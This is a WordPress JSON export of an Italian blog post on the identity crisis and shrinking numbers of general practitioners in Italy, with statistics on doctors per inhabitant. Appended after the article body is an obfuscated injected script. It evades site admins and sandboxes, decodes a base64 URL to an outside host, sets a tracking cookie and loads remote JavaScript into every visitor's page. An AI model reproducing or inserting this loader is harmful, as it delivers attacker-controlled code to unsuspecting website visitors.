{"id":26378,"date":"2018-11-05T09:44:31","date_gmt":"2018-11-05T09:44:31","guid":{"rendered":"http:\/\/www.dimariamalasanita.it\/?p=26378"},"modified":"2026-04-15T05:46:10","modified_gmt":"2026-04-15T05:46:10","slug":"pianeta-salute-i-medici-di-medicina-generale-crisi-di-identita-e-rischio-estinzione","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=26378","title":{"rendered":"Pianeta salute. I Medici di medicina generale: crisi di identit\u00e0 e rischio estinzione"},"content":{"rendered":"<h4>In un precedente articolo (<a href=\"http:\/\/www.dimariamalasanita.it\/pianeta-salute-il-pronto-soccorso\/\" target=\"_blank\" rel=\"noopener noreferrer\">Pianeta salute. Il pronto soccorso<\/a>) abbiamo segnalato che \u2013 con il titolo di <strong>\u201cPianeta Salute\u201d<\/strong> \u2013 avremmo affrontato le criticit\u00e0 del sistema sanitario nazionale, criticit\u00e0 che contribuiscono a ingenerare errori sanitari e, in una parola, malasanit\u00e0.<\/h4>\n<p>Chi scrive \u00e8 membro del Comitato Scientifico dell\u2019<strong>\u201dOsservatorio Salute e Legalit\u00e0<\/strong>\u201d istituito da <strong>Eurispes<\/strong> (probabilmente il pi\u00f9 autorevole istituto di ricerca socio politico italiano) e dall\u2019<strong>E.N.P.A.M<\/strong>. (Ente Nazionale Previdenza e Assistenza Medici) e gli articoli che qui pubblichiamo con il titolo \u201c<strong>Pianeta Salute<\/strong>\u201d sono liberamente tratti dal I Rapporto sul Sistema Sanitario presentato dall\u2019Osservatorio alla stampa alla presenza del Ministro della Salute.<\/p>\n<p><strong>I medici di medicina generale rappresentano, insieme ai pediatri di libera scelta, il primo, fondamentale anello del pianeta salute, quello pi\u00f9 vicino al cittadino-paziente.<\/strong> Ogni individuo residente in Italia ha il diritto di scegliere il medico di base in grado di seguirlo, di assisterlo, di valutare nel tempo il suo stato di salute, di prescrivere per lui esami diagnostici, farmaci e terapie. Nel caso di minori, il pediatra \u201csegue\u201d l\u2019individuo dalla nascita al compimento del diciottesimo anno. Molto spesso uno stesso medico segue i diversi componenti della famiglia, ed instaura con questi un rapporto di continuit\u00e0 che si protrae per anni e che, talvolta, acquisisce i toni della vicinanza amicale. Il medico di medicina generale \u201cdetiene\u201d informazioni e segreti difficilmente confessabili in altri ambiti. Se coscienzioso ed oculato, mantiene e aggiorna la scheda individuale di ogni singolo suo assistito, dispensa consigli sugli stili di vita e sull\u2019alimentazione. Quando il paziente denota sintomi specifici, lo \u201cinvia\u201d dallo specialista: il neurologo, l\u2019ortopedico, lo pneumologo, il ginecologo, il cardiologo, e cos\u00ec via. In genere, quando l\u2019assistito entra nella terza o nella quarta et\u00e0 gli incontri, cos\u00ec come i piccoli e i grandi acciacchi, si fanno pi\u00f9 frequenti. Se (proprio) necessario, il medico di famiglia visita l\u2019assistito a domicilio.<\/p>\n<p>Fino a qualche decennio fa, prima della disponibilit\u00e0 dei tanti esami clinici e della diagnostica per immagini, il medico di base visitava attentamente il paziente e ricavava la cos\u00ec detta anamnesi, da cui discendeva il quadro complessivo del suo stato di salute. I medici di base delle precedenti generazioni acquistavano competenza principalmente grazie alla continuit\u00e0 assistenziale e alla mole di esperienze derivanti dalla cura di centinaia di pazienti.<\/p>\n<p>Oggi la situazione \u00e8 sostanzialmente cambiata, e non sempre avviene che la visita sia approfondita, che un determinato esame venga prescritto solo quando essenziale, che l\u2019assistito si affidi tranquillamente all\u2019esperienza del medico senza richiedere (o esigere) una sfilza di ulteriori controlli o la prescrizione di determinati farmaci. Negli anni della riduzione dei budget delle sanit\u00e0 reginali, gli input che raggiungono il medico vanno nel senso di una tendenziale riduzione del ricorso alla diagnostica strumentale e di una valorizzazione dei farmaci generici rispetto a quelli \u201cdi marca\u201d. I pazienti \u201cnon apprezzano\u201d queste nuove linee guida, e talvolta \u201cscelgono\u201d il medico in relazione alla maggiore o minore disponibilit\u00e0 a \u201cprescrivere\u201d.<\/p>\n<p>Questi sono alcuni degli elementi che ne minano l\u2019efficacia e addirittura l\u2019amor proprio, ai quali si somma il peso delle sempre maggiori incombenze burocratiche, come l\u2019invio elettronico delle prescrizioni in tempo reale, che lo legano pi\u00f9 al computer che al lettino delle visite.<\/p>\n<p>Ma quali che siano il livello e le ragioni della crisi di ruolo che la medicina di base sta attraversando, un ulteriore allarme \u00e8 stato lanciato sull\u2019intera area della Fnomceo, la Federazione nazionale dell\u2019ordine dei medici chirurghi e degli odontoiatri, che alla fine del 2016 ha denunciato come gi\u00e0 oggi, e ancor di pi\u00f9 in prospettiva, i medici che operano nella medicina generale siano sempre meno, perch\u00e9 il turnover dovuto all\u2019invecchiamento, sta creando molti \u201cvuoti\u201d.<\/p>\n<p>\u201cI numeri sui pensionamenti (ponendo come et\u00e0 limite i 70 anni, quindi in una proiezione ottimistica), mettono in luce una situazione preoccupante creando una forbice che consente ben poche possibilit\u00e0 di lettura alternativa al fatto che la medicina generale potrebbe nei prossimi 20 anni scomparire a meno che non si inizi da subito una seria e corretta programmazione. Quella basata sui numeri\u201d.<\/p>\n<p>Vediamo quali \u201cnumeri\u201d fotografano oggi il comparto della medicina di base. Secondo i dati forniti dal Ministero della Salute e aggiornati al 2012 il comparto assorbiva 45.437 medici di medicina generale. Prendendo in esame i dati di Eurostat 2015, il numero sale a 53.525, pari a una percentuale di 88,9 ogni 100.000 abitanti. Confrontando la situazione italiana con quella dei maggiori partner europei, si evidenzia la forte specificit\u00e0 del nostro modello sanitario complessivo, caratterizzato da una alta quota di medicina specialistica e dal ruolo centrale di fatto affidato alle strutture ospedaliere. Mentre l\u2019Italia, per dotazione di medici in generale, \u00e8 seconda solo alla Germania, nell\u2019area della medicina di base si colloca nella fascia bassa della classifica. La Germania, infatti, ne conta 167,4 ogni 100.000 abitanti (quasi il doppio, dunque), e la Francia si colloca a quota 155,5.<\/p>\n<p>\u201cPochi\u201d medici di medicina generale, ognuno dei quali assiste una media (in aumento gi\u00e0 negli ultimi anni) di circa 1.200 cittadini: questo \u00e8 il quadro che caratterizza gli ultimi decenni, ma sul quale si sta abbattendo la mannaia dell\u2019anzianit\u00e0 anagrafica. Tornando al dato del 2012, sui 45.437 medici di medicina generale censiti, pi\u00f9 del 60% risultavano laureati da 27 o pi\u00f9 anni, presentando dunque una carta d\u2019identit\u00e0 \u201cmedia\u201d da arzilli cinquantacinquenni: pi\u00f9 che medici in camice bianco, medici dal capo imbiancato dall\u2019et\u00e0.<\/p>\n<p>Avv. Franco Di Maria\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Avv. Vincenza Pin\u00f2<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In un precedente articolo (Pianeta salute. Il pronto soccorso) abbiamo segnalato che \u2013 con il titolo di \u201cPianeta Salute\u201d \u2013 avremmo affrontato le criticit\u00e0 del sistema sanitario nazionale, criticit\u00e0 che contribuiscono a ingenerare errori sanitari e, in una parola, malasanit\u00e0. Chi scrive \u00e8 membro del Comitato Scientifico dell\u2019\u201dOsservatorio Salute e Legalit\u00e0\u201d istituito da Eurispes (probabilmente [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":26379,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,159],"tags":[],"class_list":["post-26378","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-pianeta-salute"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=26378"}],"version-history":[{"count":2,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26378\/revisions"}],"predecessor-version":[{"id":28670,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/26378\/revisions\/28670"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/26379"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}